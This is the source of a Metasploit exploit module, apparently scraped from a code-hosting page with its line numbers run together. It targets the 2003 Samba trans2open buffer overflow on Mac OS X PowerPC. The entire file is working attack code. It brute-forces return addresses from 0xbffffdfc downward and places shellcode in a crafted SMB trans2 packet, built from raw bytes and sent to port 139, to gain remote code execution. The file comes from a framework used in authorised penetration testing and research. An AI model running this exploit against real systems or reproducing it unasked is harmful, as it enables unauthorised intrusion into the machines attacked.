Path: blob/master/modules/exploits/osx/samba/trans2open.rb
19720 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SMB::Client9include Msf::Exploit::Brute1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Samba trans2open Overflow (Mac OS X PPC)',16'Description' => %q{17This exploits the buffer overflow found in Samba versions182.2.0 to 2.2.8. This particular module is capable of19exploiting the bug on Mac OS X PowerPC systems.20},21'Author' => [ 'hdm', 'jduck' ],22'References' => [23[ 'CVE', '2003-0201' ],24[ 'OSVDB', '4469' ],25[ 'BID', '7294' ],26[ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]27],28'Privileged' => true,29'Payload' => {30'Space' => 1024,31'BadChars' => "\x00",32'MinNops' => 512,33},34'Platform' => 'osx',35'Arch' => ARCH_PPC,36'Notes' => {37'AKA' => ['ECHOWRECKER'],38'Stability' => UNKNOWN_STABILITY,39'Reliability' => UNKNOWN_RELIABILITY,40'SideEffects' => UNKNOWN_SIDE_EFFECTS41},42'Targets' => [43[44'Samba 2.2.x - Bruteforce',45{46# Not necessary on PPC47# 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack48'Offset' => 1195,49'Bruteforce' =>50{51'Start' => { 'Ret' => 0xbffffdfc },52'Stop' => { 'Ret' => 0xbfa00000 },53'Step' => 51254}55}56]57],58'DisclosureDate' => '2003-04-07',59'DefaultTarget' => 060)61)6263register_options(64[65Opt::RPORT(139)66]67)6869deregister_options('SMB::ProtocolVersion')70end7172# Need to perform target detection73def autofilter74false75end7677def brute_exploit(addrs)78curr_ret = addrs['Ret']79begin80print_status("Trying return address 0x%.8x..." % curr_ret)8182connect(versions: [1])83smb_login8485# 1988 is required for findrecv shellcode86pattern = rand_text_english(1988)8788# This stream covers the framepointer and the return address89off = target['Offset']90pattern[off, 64] = [curr_ret].pack('N') * 169192# Stuff the shellcode into the request93pattern[3, payload.encoded.length] = payload.encoded9495trans =96"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00" +97"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" +98"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00" +99"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01" +100"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +101"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90" +102pattern103104sock.put(trans)105handler106disconnect107rescue EOFError108rescue => e109print_error(e.to_s)110end111end112end113114115